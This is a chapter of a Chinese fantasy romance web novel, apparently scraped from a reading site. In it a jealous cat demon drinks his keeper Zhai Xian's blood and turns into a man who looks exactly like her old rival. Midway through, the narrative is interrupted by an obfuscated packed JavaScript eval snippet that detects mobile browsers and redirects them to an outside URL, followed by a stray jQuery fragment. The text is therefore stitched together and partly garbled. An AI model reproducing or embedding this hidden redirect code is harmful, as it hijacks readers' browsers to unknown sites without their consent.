19. 变成人了
作品:《宿敌诈尸后非要和我HE》 翟猫猫的眼睛悄咪咪睁开一条缝,不知道怎么的,颇有怨气地剜了翟闲一眼,却见翟闲只是抱着臂看着他,既不打算解释,也没有任何动作。
翟猫猫更气了,抖了抖身上的毛,蛄蛹着转了过去,把屁股对着她,喵喵咪咪嘀嘀咕咕一阵,一句话也没说,一副要翟闲猜的死出。
他还闹上脾气了。
翟闲深吸了一口气,揉了揉眉心,只当是千百年之前捅他那一剑欠他的。
“你怎么把自己弄得脏兮兮的?”翟闲戳了戳他还算干净的粉红色的鼻尖尖。
“你还好意思问?”湿哒哒的泥巴粘在猫的身上,虽然看不出来,但翟闲估计着猫是炸毛了。
“说,那个叫‘阿jiu’的男的是谁?我和他不共戴天!!!”翟猫猫龇牙,就在翟闲的胳膊哦呜就是一口。
他本意只是想和之前一样轻轻咬一下,权当是撒娇打滚,等着翟闲来和他解释解释,但是不知道为什么,这边嘴巴才刚碰到翟闲的胳膊,那边就就见有血液涌了出来。
鲜红的血液顺着胳膊一点点流淌下来,馥郁芬芳的味道传进鼻腔,翟九有些惭愧,窝在浴缸的角角里,居然忍住了没有蹭过来舔。
翟闲没和他计较,觉得有些好笑,问:“他怎么你了?”
怎么他了?翟猫猫没说话。
今天这一晚上得是他猫生最刺激的晚上之一了,当时翟闲非要还往湖边去,结果碰到祝好他们,翟闲说好的他先藏起来,等把那什么异管局的人忽悠过去就去找他?谁知道他还没跑远,就眼前一黑。
丝丝缕缕交错着的红线织成一张又细又密的往,将翟猫猫从头到脚都罩住,连带着尾巴都和四只爪子全捆在了一起,动弹不得,他刚想呼救,嘴巴却不知道被什么东西上下粘在了一起动也不能动弹。
就连想给翟闲传音也和石沉大海一样没有回复。
荒山野岭,荒郊野外,翟猫猫被捆成了一团,被扔在了塘泥里面,草叶泥土沾了一身,叫天天不应、叫地地不灵,淤泥的味道直往鼻孔里钻,他拼了命往外蹭,纹丝不动。
端午节还没到呢就吃上粽子了。
现在只能希望翟闲能尽快发现他不见了。翟猫猫仰头望天欲哭无泪,渐渐冷静下来之后,鼻子敏锐捕捉到空气中一丝不寻常的法力的波动。
这味道他之前某一回醒过来之后在翟闲身上闻到过——是野男人的味道!
翟九气得不轻,他记得翟闲身边是一直纠缠着一个残魂,上一次问翟闲这个,结果被她三言两语岔开话题。
这个人显然是和翟闲认识的,关系看上去还不错的样子,但是却背着翟闲来偷袭他,这到底是何居心?他那里嘀嘀咕咕,忽然眼前一黑,一股奇怪的眩晕感猛然袭来,等意识再回笼的时候,他已经置身于一片广袤至极的天地之间。
我靠。
我靠!
我靠靠靠靠!!!
从这个视角感知到的外界,这个视角,这个位置,这个声音——这里是翟闲的灵府!
翟猫猫目瞪口呆,一直到现在都没有接受这个事实——他累死累活修炼,灵府也不过方寸之地,而翟闲的灵府的这个广度,她这不得是比他还老的老妖精不成?
可是她身上分明连一点法力的波动都没有啊,但是她的血液又那么那么补……她是个什么东西?
翟九后背忽然有点凉飕飕的,凉飕飕归凉飕飕,翟闲这人看上去脾气很好的样子,翟九想,不管了,这条大腿也是让他抱上了。
按理说灵府中不论发生些什么,主人都是能知道的,故而他开始喊翟闲的名字,想着什么时候翟闲能发现他,赶紧的先把他从这泥巴里面救出去再说。
再一个就是告状。
然而很快翟九就发现,自己并没有实体——他是透明的,就像是灵魂一样在翟闲的灵府中游荡,哪怕他大摇大摆地四处乱窜,也没有人能发现他,包括翟闲本人。
不来白不来,这么大一灵府,翟九刚想好好逛逛,忽然就闻到了一股气息——是那个对他背后下黑手的男人!
猫感觉自己后背的毛发都全然竖起来了,这个气味为什么会在翟闲的灵府里。循着味道找过去,前头是一片花海,花海中央坐着个男人。
仗着别人发现不了自己,他窝了一肚子气上前,只是还没走近,就好像别什么东西挡住了一般,他就只能站在花田的外围,站在一个刚好不能够看清那男人长什么样子的地方,远远望着。
依稀可见空中有丝丝缕缕的红色丝线,和血一样,是从那个男人脖颈和手腕处延伸出来的,原本应该是腿的地方,那个男人张着一条似蛇似蟒的尾巴。
他在一片花海中支着脸,和翟闲有一搭没一搭地聊天,一起加入群聊的,在灵府之外一只有呼风唤雨之能的黑蛟。
忽而一阵微风吹过,男人低垂的发丝被垂抚起来,露出一张只看轮廓就能看出俊逸非凡的侧脸。
忽然,这个男人像是如有所思一般,朝着翟九藏身的地方瞥了一眼,翟九立刻往后躲了躲。这到底是个什么人?翟猫猫深吸了一口气,感觉这气息陌生中又带着一丝熟悉。
他甩了甩脑袋,没当回事,回头就和翟闲告状。在角落里窥探了片刻几人扯闲天,翟猫猫成功知道了外面那只搅得翻天覆地的黑蛟叫“后鸣”,而那个和他张得一模一样的男人,叫什么阿九。
几个人是旧识——至少比翟九认识翟闲早。
翟九便秘脸。
要是告状的话……那个男人一看就一脸心机的样子,还和翟闲认识得挺早的,翟闲还叫他“阿九”,翟闲不会偏袒他,到时候睁着眼睛说瞎话吧?
一说到“阿九”,翟猫猫越像越生气了,翟闲给他起名字当真不好,自从发现翟闲和那个男人是旧识之后,他就总觉得,这个“九”字是别人用过的。
他越想越气,好歹也是当了这么多年的大妖,颇有些子傲气。故而在翟闲将他从泥巴里面拣出来的时候,他就一个人生着闷气。
*
“你是说,你身上这么脏是因为他把你从背后绑了然后扔进泥巴里了吗?”翟闲脸上的表情有几分古怪,还有几分无语。
“你觉得我有必要骗你吗?”翟九咬牙切齿。
翟闲揉了揉太阳穴,要不说她当年一看到翟玖就上不来气呢,这小心眼的玩意儿不知道给她添了多大的麻烦。
洗一次猫要花多大劲儿他知道吗他?更何况是在猫脏成这个死样子的情况下。
这都多少年了,还是这么一副小心眼的样子。翟闲叹了一口气,指尖轻轻在浴缸上敲击着,
“好了,替他给你道歉,回头教训他。”翟闲笑着摇了摇头,眼底的情绪不明。
“他是谁?”猫这样问。
翟闲可以确定的是,在发现翟猫猫在她的灵府中之后,她暗中将二人隔开,猫虽然能发现翟玖的存在,但至少是不会看见翟玖的脸。
要是真让他看见翟玖那张脸,他现在也不是这么问了。
事情的原因还没搞清楚,能瞒一时是一时吧。
“嗯……是我师弟。”翟闲想了想,看着猫的眼睛弯了弯,其中透着一股翟九看不懂的神色。她抬手将猫浇湿,开始打沐浴露。
沐浴露是她专门找老板要的宠物沐浴露,清香,很好闻。
“他怎么会在你灵府里?”
“昂?你看见他了?”翟闲揉了揉他的脑袋,“他受了伤,在我这里修养。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15802605|174593||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“你和他关系好吗?”
“……还算不错。”
“你很强。”
“一般吧。”
“他虽然是残魂,那他之前也很强吗?”
“没我强。”毕竟当年一战,是翟闲将翟玖贯胸剜心而死的。噫,养猫这些时间,她的精神状态也太过松弛了,这些乱七八糟深仇大恨恨海情天的糟心事都快忘到脑子后面去了。
“他不喜欢我。”
翟闲无奈摇头,觉得有些好笑:“我喜欢你不就够了。”
“那他要是给你上眼药说我的坏话怎么办?”
“我偏袒你。”
诚然,得到这样的许诺是一件很让猫开心的事情,翟九心中那点儿占有欲和好胜心得到了极大的满足,猫就是这样好哄。
他的尾巴竖了起来,脑袋在翟闲的手心一直撞,蹭了翟闲一身水。不知道是不是高兴的缘故,翟九鼻息间那股从翟闲身上散发出的香味愈发浓郁。
饥饿的感觉像浪潮一样席卷而来,翟九几乎能感觉到胃在痉挛,食欲像是虫子一样侵蚀着他的神志,翟闲也同一时间发现了他的不对劲,捏着他的下巴仔细探查,发现孩子眼睛都饿绿了。
翟闲:……
算了,孩子能吃是好事。她将袖子玩了起来,一阵隐秘的光在她的胳膊上划开了一道口子,血液争先恐后流了出来,然后又被翟九尽数舔入腹中。
他的食欲影响到了翟闲,混沌造物的感官几乎是互通的,同一时间翟闲也感觉到腹中空空,不仅是食欲大盛,还有一种更隐蔽的欲望在蠢蠢欲动。
猫吃饱了,毛发上的泥土也搓干净了,翟闲打开花洒正注备再给这完蛋猫再冲洗一道,忽而就见这玩意哼哼唧唧叫了起来,看上去很不耐的样子。
“你又怎么了?”翟闲拍了拍他的脑袋瓜子。
翟猫猫这会子有点晕晕乎乎的,翟闲胳膊上的伤口已经被恢复完好如初,但是血液那股甜腥的味道不知怎么的,在氤氲的水汽中好像特别的明显,明明之前常是有事没事来口自助,已经耐受了,却没想到现在竟然越发感觉到眩晕了。
脑子里像是放幻灯片似的闪过各种各样奇奇怪怪的场景,有他在山中修行的,有他被道士埋伏重伤的,有方才在翟闲灵府中看到的男人……还有一些他从未见过的场面。
天地间猩红一片,一人身着华服,手持法器,满身鲜血。一柄长剑贯胸而过,看得就连猫的心口也隐隐作痛起来,而顺着执剑的那双手看过去,他看到了翟闲的脸和翟闲的眼睛。
那张脸上的表情,愤怒有之,悲伤有之,不舍有之,决绝有之。
这是要杀什么人?翟九扭头,等看到那张脸时,翟九心中一颤。
“醒醒!”翟闲太他脸上弹了几滴冷水,翟九瞬间清醒过来,刚才的场景就显示做梦一样。太奇怪了这也。
还没等他细想,混沌的大脑在意识到某件事情之后顿时清明一片,翟九的尾巴又竖了起来,他待在翟闲身边这么长时间,修为恢复了不少,他感觉已经差不多可以……
已经差不多可以化形了。
“喵呜——”
他的叫声几近呜咽,本意是想要翟闲先出去,却不料后者以为他是哪里不舒服,反而贴得离他更近了一些,下一秒,一阵白雾混在水汽中缭绕,“腾”一下,鼻息间间传来一阵馥郁的花香,浴缸里湿漉漉的异瞳白色小猫不见了。
一个满头雪白长发,两颊和耳尖泛红,肌肤如仲春桃花花瓣的赤|裸男人屈着腿坐在浴缸里,水珠从他肩颈的线条上划过,一双蓝白的异瞳璀璨如九天星辰,雾蒙蒙、泪盈盈地看着翟闲,看上去有些无措。
这张脸,与在八方柱冰棺之中的翟玖的脸,一般无二。